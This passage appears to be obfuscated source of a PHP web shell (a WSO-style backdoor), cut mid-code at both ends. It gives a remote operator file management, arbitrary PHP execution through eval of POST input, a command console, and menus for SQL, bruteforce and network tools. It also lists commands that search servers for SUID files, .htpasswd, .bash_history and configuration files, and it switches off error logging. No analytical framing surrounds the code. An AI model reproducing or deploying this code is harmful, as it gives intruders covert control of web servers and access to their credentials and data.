(is_dir($c . $s)) { goto E4576; d7da0: b4322: goto cd5f8; C4714: if (!(($f = @readdir($h)) !== false)) { goto b4322; } goto adef7; adef7: if ($f != "." and $f != "..") { copy_paste($c . $s . \'/\', $f, $d . $s . \'/\'); } goto f27b4; B1761: $h = @opendir($c . $s); goto a78ff; a78ff: D49b4: goto C4714; E4576: mkdir($d . $s); goto B1761; f27b4: goto D49b4; goto d7da0; cd5f8: } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } goto fefa5; fefa5: foreach ($_COOKIE[\'f\'] as $f) { @rename($_COOKIE[\'c\'] . $f, $GLOBALS[\'cwd\'] . $f); B4a36: } goto F835e; d3e3b: } elseif ($_COOKIE[\'act\'] == \'zip\') { if (class_exists(\'ZipArchive\')) { $zip = new ZipArchive(); if ($zip->open($_POST[\'p2\'], 1)) { goto eeeca; A817e: $zip->close(); goto d236f; fa9a7: c91f4: goto c9f62; c9f62: chdir($GLOBALS[\'cwd\']); goto A817e; eeeca: chdir($_COOKIE[\'c\']); goto e4161; e4161: foreach ($_COOKIE[\'f\'] as $f) { goto Fe997; Fe997: if ($f == \'..\') { goto C83ea; } goto d46fd; D0966: C83ea: goto De0c9; d46fd: if (@is_file($_COOKIE[\'c\'] . $f)) { $zip->addFile($_COOKIE[\'c\'] . $f, $f); } elseif (@is_dir($_COOKIE[\'c\'] . $f)) { goto Cdac9; c5b95: Ec9b9: goto fea73; Cdac9: $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . \'/\', FilesystemIterator::SKIP_DOTS)); goto Dd194; Dd194: foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); c1faf: } goto c5b95; fea73: } goto D0966; De0c9: } goto fa9a7; d236f: } } } elseif ($_COOKIE[\'act\'] == \'unzip\') { if (class_exists(\'ZipArchive\')) { goto e294b; e83be: F4b34: goto c3934; f257e: foreach ($_COOKIE[\'f\'] as $f) { if ($zip->open($_COOKIE[\'c\'] . $f)) { $zip->extractTo($GLOBALS[\'cwd\']); $zip->close(); } f1785: } goto e83be; e294b: $zip = new ZipArchive(); goto f257e; c3934: } } elseif ($_COOKIE[\'act\'] == \'tar\') { goto ad720; dea1c: $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']); goto b10d1; b10d1: rAKCgEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\'])); goto ce2c3; ce2c3: chdir($GLOBALS[\'cwd\']); goto e7e10; ad720: chdir($_COOKIE[\'c\']); goto dea1c; e7e10: } goto e3561; e3561: unset($_COOKIE[\'f\']); goto Dd47c; ab373: default: if (!empty($_POST[\'p1\'])) { goto Af211; eeb3e: rAKCgsetcookie(\'c\', @$_POST[\'c\']); goto d5549; F9ded: rAKCgsetcookie(\'f\', serialize(@$_POST[\'f\'])); goto eeb3e; Af211: rAKCgsetcookie(\'act\', $_POST[\'p1\']); goto F9ded; d5549: } goto f8db8; } goto ba64a; f5dc6: } goto F38a3; f6a2d: rAKCgFooter(); goto E914d; db493: echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>"; goto f6a2d; A32df: $GLOBALS[\'sort\'] = $sort; goto ebd60; E773d: echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == \'checkbox\')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")\'>Permissions</a></th><th>Actions</th></tr>"; goto a94a4; e46b0: $tmp = array(\'name\' => $dirContent[$i], \'path\' => $GLOBALS[\'cwd\'] . $dirContent[$i], \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])), \'perms\' => rAKCgPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]), \'size\' => @filesize($GLOBALS[\'cwd\'] . $dirContent[$i]), \'owner\' => $ow[\'name\'] ? $ow[\'name\'] : @fileowner($dirContent[$i]), \'group\' => $gr[\'name\'] ? $gr[\'name\'] : @filegroup($dirContent[$i])); goto ebceb; c2e23: usort($files, "rAKCgCmp"); goto b3510; D75af: d987c: goto A9237; F54a3: if (!empty($_POST[\'p1\'])) { if (preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match)) { $sort = array($match[1], (int) $match[2]); } } goto E773d; C787f: $sort = array(\'name\', 1); goto F54a3; d1b8a: foreach ($files as $f) { goto A25bd; A25bd: echo \'<tr\' . ($l ? \' class=l1\' : \'\') . \'><td><input type=checkbox name="f[]" value="\' . urlencode($f[\'name\']) . \'" class=chkbx></td><td><a href=# onclick="\' . ($f[\'type\'] == \'file\' ? \'g(\'FilesTools\',null,\'\' . urlencode($f[\'name\']) . \'\', \'view\')">\' . htmlspecialchars($f[\'name\']) : \'g(\'FilesMan\',\'\' . $f[\'path\'] . \'\');" \' . (empty($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\') . \'</a></td><td>\' . ($f[\'type\'] == \'file\' ? rAKCgViewSize($f[\'size\']) : $f[\'type\']) . \'</td><td>\' . $f[\'modify\'] . \'</td><td>\' . $f[\'owner\'] . \'/\' . $f[\'group\'] . \'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\' . urlencode($f[\'name\']) . \'\',\'chmod\')">\' . $f[\'perms\'] . \'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\' . urlencode($f[\'name\']) . \'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\' . urlencode($f[\'name\']) . \'\', \'touch\')">T</a>\' . ($f[\'type\'] == \'file\' ? \' <a href="#" onclick="g(\'FilesTools\',null,\'\' . urlencode($f[\'name\']) . \'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\' . urlencode($f[\'name\']) . \'\', \'download\')">D</a>\' : \'\') . \'</td></tr>\'; goto b440a; b440a: $l = $l ? 0 : 1; goto A501c; A501c: efb2b: goto B0bb0; B0bb0: } goto Ef847; a0246: $ow = @posix_getpwuid(@fileowner($dirContent[$i])); goto Dcf01; C2fce: if (!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\'])) { echo "<option value=\'paste\'>Paste / Compress</option>"; } goto aa2fb; c4562: if ($dirContent === false) { goto Dade4; F30ff: rAKCgFooter(); goto c34dd; Dade4: echo \'Can\'t open this folder!\'; goto F30ff; c34dd: return; goto d2324; d2324: } goto E942a; E7cee: goto d987c; goto E6f34; b3510: usort($dirs, "rAKCgCmp"); goto E7565; B0e86: if (!empty($_COOKIE[\'f\'])) { $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']); } goto D4eae; d3b70: $n = count($dirContent); goto C3f2b; eba08: if (class_exists(\'ZipArchive\')) { echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\' selected>Uncompress (unzip)</option>"; } goto c2652; E942a: global $sort; goto C787f; B1058: $dirContent = rAKCgScandir(isset($_POST[\'c\']) ? $_POST[\'c\'] : $GLOBALS[\'cwd\']); goto c4562; aa2fb: echo "</select>&nbsp;"; goto cc93d; F38a3: rAKCgHeader(); goto c0789; ecbaa: $i++; goto E7cee; ebd60: function rAKCgCmp($a, $b) { if ($GLOBALS[\'sort\'][0] != \'size\') { return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]])) * ($GLOBALS[\'sort\'][1] ? 1 : -1); } else { return ($a[\'size\'] < $b[\'size\'] ? -1 : 1) * ($GLOBALS[\'sort\'][1] ? 1 : -1); } } goto c2e23; Ef847: c72da: goto Dfdce; E83de: $l = 0; goto d1b8a; E6f34: Ec54b: goto A32df; cc93d: if (!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && ($_COOKIE[\'act\'] == \'zip\' || $_COOKIE[\'act\'] == \'tar\')) { echo "file name: <input type=text name=p2 value=\'rAKCg_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\' ? \'zip\' : \'tar.gz\') . "\'>&nbsp;"; } goto db493; A9237: if (!($i < $n)) { goto Ec54b; } goto a0246; Dfdce: echo "<tr><td colspan=7>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\'>
	<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\']) ? $_POST[\'charset\'] : \'\') . "\'>
	<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>"; goto eba08; a94a4: $dirs = $files = array(); goto d3b70; Dcf01: $gr = @posix_getgrgid(@filegroup($dirContent[$i])); goto e46b0; E914d: } goto e3f69; b0ae0: function rAKCgPermsColor($f) { if (!@is_readable($f)) { return \'<font color=#FF0000>\' . rAKCgPerms(@fileperms($f)) . \'</font>\'; } elseif (!@is_writable($f)) { return \'<font color=white>\' . rAKCgPerms(@fileperms($f)) . \'</font>\'; } else { return \'<font color=#25ff00>\' . rAKCgPerms(@fileperms($f)) . \'</font>\'; } } goto e5f69; Caf67: $cwd = @getcwd(); goto Aeb26; A00ad: function rAKCgsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto c1231; D8b10: $default_action = \'FilesMan\'; goto b4d06; F76e6: if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $os = \'win\'; } else { $os = \'nix\'; } goto E8033; caf90: $default_charset = \'Windows-1251\'; goto b6b12; b4d06: $default_use_ajax = true; goto caf90; Fd584: if ($os == \'win\') { $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all"); } else { $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate \'.conf\'", "locate .pwd files" => "locate \'.pwd\'", "locate .sql files" => "locate \'.sql\'", "locate .htpasswd files" => "locate \'.htpasswd\'", "locate .bash_history files" => "locate \'.bash_history\'", "locate .mysql_history files" => "locate \'.mysql_history\'", "locate .fetchmailrc files" => "locate \'.fetchmailrc\'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv"); } goto c5219; cb4f1: @ini_set(\'log_errors\', 0); goto Dd4db; C6b68: if (get_magic_quotes_gpc()) { goto Ac454; Ac454: function rAKCgstripslashes($array) { return is_array($array) ? array_map(\'rAKCgstripslashes\', $array) : stripslashes($array); } goto D35b3; e81a8: $_COOKIE = rAKCgstripslashes($_COOKIE); goto Afc31; D35b3: $_POST = rAKCgstripslashes($_POST); goto e81a8; Afc31: } goto D3242; e2109: $disable_functions = @ini_get(\'disable_functions\'); goto Ddd1e; b1a62: if (!function_exists("posix_getpwuid") && strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\') === false) { function posix_getpwuid($p) { return false; } } goto a16d5; e9f32: if (isset($_POST[\'c\'])) { @chdir($_POST[\'c\']); } goto Caf67; ad1bc: error_reporting(0); goto Ae07a; F0f7a: if ($cwd[strlen($cwd) - 1] != \'/\') { $cwd .= \'/\'; } goto e54aa; Ed349: function rAKCgPerms($p) { goto beab9; ee931: $i .= $p & 0x100 ? \'r\' : \'-\'; goto b46a3; a80af: $i .= $p & 0x2 ? \'w\' : \'-\'; goto aeb10; beab9: if (($p & 0xc000) == 0xc000) { $i = \'s\'; } elseif (($p & 0xa000) == 0xa000) { $i = \'l\'; } elseif (($p & 0x8000) == 0x8000) { $i = \'-\'; } elseif (($p & 0x6000) == 0x6000) { $i = \'b\'; } elseif (($p & 0x4000) == 0x4000) { $i = \'d\'; } elseif (($p & 0x2000) == 0x2000) { $i = \'c\'; } elseif (($p & 0x1000) == 0x1000) { $i = \'p\'; } else { $i = \'u\'; } goto ee931; Fad97: $i .= $p & 0x40 ? $p & 0x800 ? \'s\' : \'x\' : ($p & 0x800 ? \'S\' : \'-\'); goto A3de9; f36cb: return $i; goto b1fbc; d8443: $i .= $p & 0x10 ? \'w\' : \'-\'; goto a9130; aeb10: $i .= $p & 0x1 ? $p & 0x200 ? \'t\' : \'x\' : ($p & 0x200 ? \'T\' : \'-\'); goto f36cb; b46a3: $i .= $p & 0x80 ? \'w\' : \'-\'; goto Fad97; a9130: $i .= $p & 0x8 ? $p & 0x400 ? \'s\' : \'x\' : ($p & 0x400 ? \'S\' : \'-\'); goto Dadf6; A3de9: $i .= $p & 0x20 ? \'r\' : \'-\'; goto d8443; Dadf6: $i .= $p & 0x4 ? \'r\' : \'-\'; goto a80af; b1fbc: } goto b0ae0; Dd4db: @ini_set(\'max_execution_time\', 0); goto De789; e5f69: function rAKCgScandir($dir) { if (function_exists("scandir")) { return scandir($dir); } else { goto Ca80a; Ca80a: $dh = opendir($dir); goto C913a; C913a: Dfe3d: goto Ff78c; Ff78c: if (!(false !== ($filename = readdir($dh)))) { goto b11f9; } goto ab15c; ab15c: $files[] = $filename; goto d2337; d2337: goto Dfe3d; goto D9f34; C413d: return $files; goto eb28c; D9f34: b11f9: goto C413d; eb28c: } } goto f6551; af512: function actionLogout() { setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600); die(\'bye!\'); } goto ee796; c5219: function rAKCgHeader() { goto B79df; F61d4: $drives = ""; goto Aa200; dfbdf: $path = explode("/", $GLOBALS[\'cwd\']); goto cbb5e; f2e1b: foreach ($m as $k => $v) { $menu .= \'<th width="\' . (int) (100 / count($m)) . \'%">[ <a href="#" onclick="g(\'\' . $v . \'\',null,\'\',\'\',\'\')">\' . $k . \'</a> ]</th>\'; E9a44: } goto de200; b86f9: $menu = \'\'; goto f2e1b; e3acc: $cwd_links = \'\'; goto dfbdf; c517b: b90f0: goto Eed0d; a7cdd: goto b90f0; goto c9b3e; Edefa: goto ae6e3; goto b41ae; De29b: $explink = \'\'; goto bfd99; A8057: $i++; goto a7cdd; fb3a0: $totalSpace = $totalSpace ? $totalSpace : 1; goto f02f0; C2518: foreach ($charsets as $item) { $opt_charsets .= \'<option value="\' . $item . \'" \' . ($_POST[\'charset\'] == $item ? \'selected\' : \'\') . \'>\' . $item . \'</option>\'; dae19: } goto ecf9d; b455a: if (!($j <= $i)) { goto A11ee; } goto Aa1e9; C937f: $m[\'Self remove\'] = \'SelfRemove\'; goto b86f9; f02f0: $release = @php_uname(\'r\'); goto aa2eb; c9b3e: e0d88: goto e5f34; c9583: C56d5: goto A8057; Cc2b1: if (!function_exists(\'posix_getegid\')) { goto Cd3ef; e3ff3: $group = "?"; goto c5187; C40d4: $uid = @getmyuid(); goto bd956; bd956: $gid = @getmygid(); goto e3ff3; Cd3ef: $user = @get_current_user(); goto C40d4; c5187: } else { goto f7fe6; Eecb8: $uid = $uid[\'uid\']; goto b80aa; C6bf3: $user = $uid[\'name\']; goto Eecb8; f7fe6: $uid = @posix_getpwuid(posix_geteuid()); goto cf232; b80aa: $group = $gid[\'name\']; goto D00cf; cf232: $gid = @posix_getgrgid(posix_getegid()); goto C6bf3; D00cf: $gid = $gid[\'gid\']; goto D8ea1; D8ea1: } goto e3acc; ecf9d: a9b01: goto c0f3a; b612a: echo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: {$color} !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid {$color};padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid {$color}; font: 9pt Monospace,\'Courier New\'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) . "\'
    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) . "\';
    var p1_ = \'" . (strpos(@$_POST[\'p1\'], "
") !== false ? \'\' : htmlspecialchars($_POST[\'p1\'], ENT_QUOTES)) . "\';
    var p2_ = \'" . (strpos(@$_POST[\'p2\'], "
") !== false ? \'\' : htmlspecialchars($_POST[\'p2\'], ENT_QUOTES)) . "\';
    var p3_ = \'" . (strpos(@$_POST[\'p3\'], "
") !== false ? \'\' : htmlspecialchars($_POST[\'p3\'], ENT_QUOTES)) . "\';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = \'ajax=true\';
		for(i=0;i<d.mf.elements.length;i++)
			params += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);
		sr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) . "\', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject(\'Microsoft.XMLHTTP\');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open(\'POST\', url, true);
            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", \'m\');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert(\'Request error!\');
	}
</script>
<head><body><div style=\'position:absolute;width:100%;background-color:#444;top:0;left:0;\'>
<form method=post name=mf style=\'display:none;\'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>"; goto C79ca; C0eb5: global $color; goto b612a; cbb5e: $n = count($path); goto b4d6e; e23cf: $cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\""; goto e2006; Aa200: if ($GLOBALS[\'os\'] == \'win\') { foreach (range(\'c\', \'z\') as $drive) { if (is_dir($drive . \':\\')) { $drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\' . $drive . \':/\')">[ \' . $drive . \' ]</a> \'; } bf4b0: } A8840: } goto dadfd; d4dfc: F99a5: goto B783f; a2bab: if (!empty($GLOBALS[\'auth_pass\'])) { $m[\'Logout\'] = \'Logout\'; } goto C937f; C79ca: $freeSpace = @diskfreespace($GLOBALS[\'cwd\']); goto B9044; e5f34: $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\'); goto Ddf45; c0f3a: $m = array(\'Sec. Info\' => \'SecInfo\', \'Files\' => \'FilesMan\', \'Console\' => \'Console\', \'Sql\' => \'Sql\', \'Php\' => \'Php\', \'String tools\' => \'StringTools\', \'Bruteforce\' => \'Bruteforce\', \'Network\' => \'Network\'); goto a2bab; de200: f81a0: goto F61d4; D4a5e: $cwd_links .= "\")\'>" . $path[$i] . "/</a>"; goto c9583; B9044: $totalSpace = @disk_total_space($GLOBALS[\'cwd\']); goto fb3a0; B79df: if (empty($_POST[\'charset\'])) { $_POST[\'charset\'] = $GLOBALS[\'default_charset\']; } goto C0eb5; b0ee0: ae6e3: goto b455a; Ddf45: $opt_charsets = \'\'; goto C2518; b41ae: A11ee: goto D4a5e; dadfd: echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\' ? \'<br>Drives:\' : \'\') . \'</span></td>\' . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \'</nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\'] ? \'<font color=red>ON</font>\' : \'<font color=green><b>OFF</b></font>\') . \' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . rAKCgViewSize($totalSpace) . \' <span>Free:</span> \' . rAKCgViewSize($freeSpace) . \' (\' . (int) ($freeSpace / $totalSpace * 100) . \'%)<br>\' . $cwd_links . \' \' . rAKCgPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')">[ home ]</a><br>\' . $drives . \'</td>\' . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\' . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\'; goto b8f30; Aa1e9: $cwd_links .= $path[$j] . \'/\'; goto d4dfc; Eed0d: if (!($i < $n - 1)) { goto e0d88; } goto e23cf; b4d6e: $i = 0; goto c517b; bfd99: if (strpos(\'Linux\', $kernel) !== false) { $explink .= urlencode(\'Linux Kernel \' . substr($release, 0, 6)); } else { $explink .= urlencode($kernel . \' \' . substr($release, 0, 3)); } goto Cc2b1; e2006: $j = 0; goto b0ee0; B783f: $j++; goto Edefa; aa2eb: $kernel = @php_uname(\'s\'); goto De29b; b8f30: } goto e8835; F8913: @ini_set(\'error_log\', NULL); goto cb4f1; ee796: function actionSelfRemove() { goto C6233; d3b59: rAKCgFooter(); goto b9c81; C6233: if ($_POST[\'p1\'] == \'yes\') { if (@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__))) { die(\'Shell has been removed\'); } else { echo \'unlink error!\'; } } goto D476d; daf75: echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\'; goto d3b59; D476d: if ($_POST[\'p1\'] != \'yes\') { rAKCgHeader(); } goto daf75; b9c81: } goto eb886; Ddd1e: $home_cwd = @getcwd(); goto e9f32; bfca1: function rAKCgViewSize($s) { if (is_int($s)) { $s = sprintf("%u", $s); } if ($s >= 1073741824) { return sprintf(\'%1.2f\', $s / 1073741824) . \' GB\'; } elseif ($s >= 1048576) { return sprintf(\'%1.2f\', $s / 1048576) . \' MB\'; } elseif ($s >= 1024) { return sprintf(\'%1.2f\', $s / 1024) . \' KB\'; } else { return $s . \' B\'; } } goto Ed349; ca417: function actionPhp() { goto cdb58; ff848: rAKCgFooter(); goto af6db; A0b09: if (empty($_POST[\'ajax\']) && !empty($_POST[\'p1\'])) { rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0); } goto Ea821; E2b4b: echo \'</pre></div>\'; goto ff848; Ea821: rAKCgHeader(); goto F60d4; F60d4: if (isset($_POST[\'p2\']) && $_POST[\'p2\'] == \'info\') { goto e715d; C1363: echo str_replace(\'<h1\', \'<h2\', $tmp) . \'</div><br>\'; goto C946e; Beb68: ob_start(); goto Ff152; df8ba: $tmp = preg_replace(array(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\', \'!td, th {(.*)}!msiU\', \'!<img[^>]+>!msiU\'), array(\'\', \'.e, .v, .h, .h th {$1}\', \'\'), $tmp); goto C1363; E8644: $tmp = ob_get_clean(); goto df8ba; Ff152: phpinfo(); goto E8644; e715d: echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\'; goto Beb68; C946e: } goto e671f; cf5a8: echo \' <input type=checkbox name=ajax value=1 \' . ($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] ? \'checked\' : \'\') . \'> send using AJAX</form><pre id=PhpOutput style="\' . (empty($_POST[\'p1\']) ? \'display:none;\' : \'\') . \'margin-top:5px;" class=ml1>\'; goto C7f43; C7f43: if (!empty($_POST[\'p1\'])) { goto f671c; db116: eval($_POST[\'p1\']); goto d506d; f671c: ob_start(); goto db116; d506d: echo htmlspecialchars(ob_get_clean()); goto B2cb8; B2cb8: } goto E2b4b; cdb58: if (isset($_POST[\'ajax\'])) { goto E6aad; E6aad: rAKCgsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true); goto a19e7; aa138: $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\\'") . "\';
"; goto Ee238; e5380: eval($_POST[\'p1\']); goto aa138; a19e7: ob_start(); goto e5380; Ee238: echo strlen($temp), "
", $temp; goto Eaf63; Eaf63: exit; goto C9615; C9615: } goto A0b09; e671f: echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\' . (!empty($_POST[\'p1\']) ? htmlspecialchars($_POST[\'p1\']) : \'\') . \'</textarea><input type=submit value=Eval style="margin-top:5px">\'; goto cf5a8; af6db: } goto B16f0; Aeb26: if ($os == \'win\') { $home_cwd = str_replace("\", "/", $home_cwd); $cwd = str_replace("\", "/", $cwd); } goto F0f7a; c1a8d: function actionRC() { if (!@$_POST[\'p1\']) { $a = array("uname" => php_uname(), "php_version" => phpversion(), "rAKCg_version" => rAKCg_VERSION, "safemode" => @ini_get(\'safe_mode\')); echo serialize($a); } else { eval($_POST[\'p1\']); } } goto Ef4ba; a616a: function actionConsole() { goto e7968; a69ee: echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>\'; goto a2557; D92f3: echo \'</form></div><script>d.cf.cmd.focus();</script>\'; goto e00a8; Fac0f: echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
